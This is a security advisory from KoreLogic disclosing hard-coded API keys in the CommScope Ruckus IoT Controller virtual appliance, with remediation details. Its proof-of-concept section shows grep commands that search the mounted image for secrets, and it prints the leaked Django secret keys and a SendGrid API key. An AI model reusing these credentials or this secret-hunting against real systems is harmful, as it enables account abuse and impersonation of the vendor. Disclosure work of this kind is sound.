CommScope Ruckus IoT Controller Hard-coded API Keys Exposed

Vulnerability Description

API keys for CommScope Ruckus are included in the IoT Controller OVA image, and are exposed to attackers who mount the filesystem.

Technical Description

Ruckus vRIoT server software is available from the software library at: https://support.ruckuswireless.com/software/

Once the OVA is imported into VirtualBox, a VMDK file is created. The VMDK file can be mounted and the directory structure and its contents can be perused. The virtual appliance contains clear text API keys that are hard-coded into the web application code. The API keys can be abused to gain information about deployed assets and send email via SendGrid as Commscope/Ruckus. While the AWS SECRET_KEY is exposed, an ACCESS_KEY is not.

Mitigation and Remediation Recommendation

The vendor has released an updated firmware (1.8.0.0) which remediates the described vulnerability. Firmware and release notes are available at:

https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf

Credit

This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc.

Proof of Concept

With the VMDK file mounted at the current working directory:

root@vriot:/# grep -R 'KIO_API_KEY' /VRIOT/ 2>/dev/null
./VRIOT/backend/settings/defaults.py:KIO_API_KEY = os.environ.get("KIO_API_KEY", "wxtPbzgNNWFlfBqhDfEDoZkQUxtnhWTq")

$ egrep -r 'SECRET_KEY|ACCESS_KEY' ./VRIOT/*
./VRIOT/authServer/app/baseapp/settings.py:SECRET_KEY = 'db$04-yk#-3&=54s78d-tvu!+e3#621kj9s!3g$x3t^@m1m6#i'
./VRIOT/backend/settings/settings.py:SECRET_KEY = '%u9-#a6eo0!ukif-+kcg3=gc-zlh8o3@)rz@!-74(g*xa0c#bb'
Binary file ./VRIOT/backend/lora/lorawan1.6.0.0.tar matches
Binary file ./VRIOT/ops/scripts/image_push.pyc matches
./VRIOT/ops/sqlite_modules/aws4/README.md:// or it can get credentials from process.env.AWS_ACCESS_KEY_ID, etc
./VRIOT/ops/sqlite_modules/aws4/README.md:export AWS_ACCESS_KEY_ID="<your-access-key-id>"
./VRIOT/ops/sqlite_modules/aws4/README.md:export AWS_SECRET_ACCESS_KEY="<your-secret-access-key>"
./VRIOT/ops/sqlite_modules/aws4/README.md:(will also use `AWS_ACCESS_KEY` and `AWS_SECRET_KEY` if available)
./VRIOT/ops/sqlite_modules/aws4/aws4.js:    accessKeyId: env.AWS_ACCESS_KEY_ID || env.AWS_ACCESS_KEY,
./VRIOT/ops/sqlite_modules/aws4/aws4.js:    secretAccessKey: env.AWS_SECRET_ACCESS_KEY || env.AWS_SECRET_KEY,

$ more ./VRIOT/authServer# more app/baseapp/settings.py
...
# Email server settings.
EMAIL_HOST = 'smtp.sendgrid.net'
EMAIL_HOST_USER = 'apikey'
EMAIL_HOST_PASSWORD = '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'
EMAIL_PORT = 587
EMAIL_USE_TLS = True
...

Per https://sendgrid.com/docs/API_Reference/SMTP_API/integrating_with_the_smtp_api.html, the SendGrid password identified above is actually an API key, which can be used with the ‘apikey’ user to send email through the SendGrid platform as Commscope Ruckus.

The contents of this advisory are copyright(c) 2021 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt